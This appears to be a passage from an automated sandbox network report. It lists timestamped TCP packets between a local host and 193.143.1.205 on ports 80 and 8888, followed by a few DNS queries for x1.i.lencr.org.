Jan 11, 2025 01:34:52.286827087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286848068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.286866903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286885977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286906958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.286914110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286933899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286957979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.286967039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286997080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287009954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.287022114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287059069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287070036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.287097931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287111998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287134886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.287147045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287164927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287189007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.287199974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287215948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287240982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.287252903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287271976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287307024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.287338972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287353992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287383080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.287398100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287410975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287434101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.287446022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287463903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287483931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.287492990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287512064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287534952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.287554979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287581921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287600040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.287616014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287633896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287652969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.287666082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287683964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287703991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.287719011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287733078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287756920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.287767887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287786961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287811041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287827015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.287837029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.287862062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.316821098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.316860914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.316890001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.316903114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.316931009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.316955090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.316987038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317001104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317038059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317050934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317080021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317090034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317110062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317126989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317147017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317158937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317178011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317197084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317208052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317236900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317250013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317265987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317296028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317320108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317328930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317348003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317372084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317379951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317401886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317421913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317428112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317450047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317476988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317486048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317504883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317533016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317547083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317565918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317589998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317600965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317615986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317622900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317631960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317639112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317646027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317651987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317677975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317691088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317707062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317720890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317739964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317747116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317769051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317786932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317809105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317825079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317833900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317850113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317859888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317876101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317894936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317908049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317926884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317951918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317971945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.317981005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.317995071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.318042994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.318042994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.318072081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.318088055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.318114042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.318135023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.318142891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.318171024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.318180084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.318198919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.318213940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.318238020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.318248987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.318270922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.318283081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.318310976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.318325043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.318353891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.318366051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.318381071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.318396091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.318449974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.318449974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.320648909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.358447075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.358508110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.358521938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.358553886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.358576059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.358597994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.358617067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.358628035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.358649969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.358669996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.358678102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.358725071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.368823051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.377321959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377351999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377388000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377410889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.377425909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377454042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377464056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.377495050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377523899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377533913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.377553940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377567053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377590895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.377614975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377634048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377655983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377664089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.377686977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377696991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.377738953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377759933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377779961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.377793074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377815008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377835035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.377845049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377877951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377902985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.377918005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377962112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.377969980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.377990007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378025055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378032923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.378062963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378092051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378113031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378123045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.378140926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378161907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378170967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.378194094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378205061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.378233910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378262997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378273964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.378293037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378309965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378315926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378340960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378357887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.378371954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378392935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378413916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378422022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.378444910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378453970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.378473043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378490925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378509998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.378524065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378541946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378561974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.378575087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378607988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378617048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.378638983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.378684044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.381611109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.407458067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407504082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407533884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407553911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407577991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.407596111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407608032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.407635927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407665014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407676935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.407696009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407726049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407740116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407752991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.407768965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.407788038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407808065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407831907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407851934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407860994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.407891035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407902956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.407922029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407952070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.407963037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.407983065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408016920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408024073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408044100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408065081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408082008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408092976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408111095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408129930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408143997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408164024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408181906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408195019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408210039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408241034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408253908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408272982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408289909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408303022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408332109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408351898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408360004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408381939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408390999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408411026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408433914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408449888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408461094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408479929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408500910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408514023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408533096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408555031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408565044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408595085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408606052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408623934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408653021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408663034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408680916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408708096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408718109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408737898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408759117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408778906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408787012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408808947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408818007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408838987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408857107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408880949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408894062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408909082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408921957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.408941031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408960104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408981085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.408989906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.409008980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.409018993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.409038067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.409056902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.409074068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.409086943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.409126043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.428680897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.640414953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:53.112957001 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:53.117938995 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:53.118026018 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:53.118278980 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:53.123085022 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:53.918632984 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:53.966844082 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:55.626795053 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:35:06.046246052 CET	59001	53	192.168.2.5	1.1.1.1
Jan 11, 2025 01:35:19.965934992 CET	56380	53	192.168.2.5	1.1.1.1
Jan 11, 2025 01:35:32.389388084 CET	61826	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:35:06.046246052 CET	192.168.2.5	1.1.1.1	0xa8fe	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:19.965934992 CET	192.168.2.5	1.1.1.1	0x96ad	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:32.389388084 CET	192.168.2.5	1.1.1.1	0xeab4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

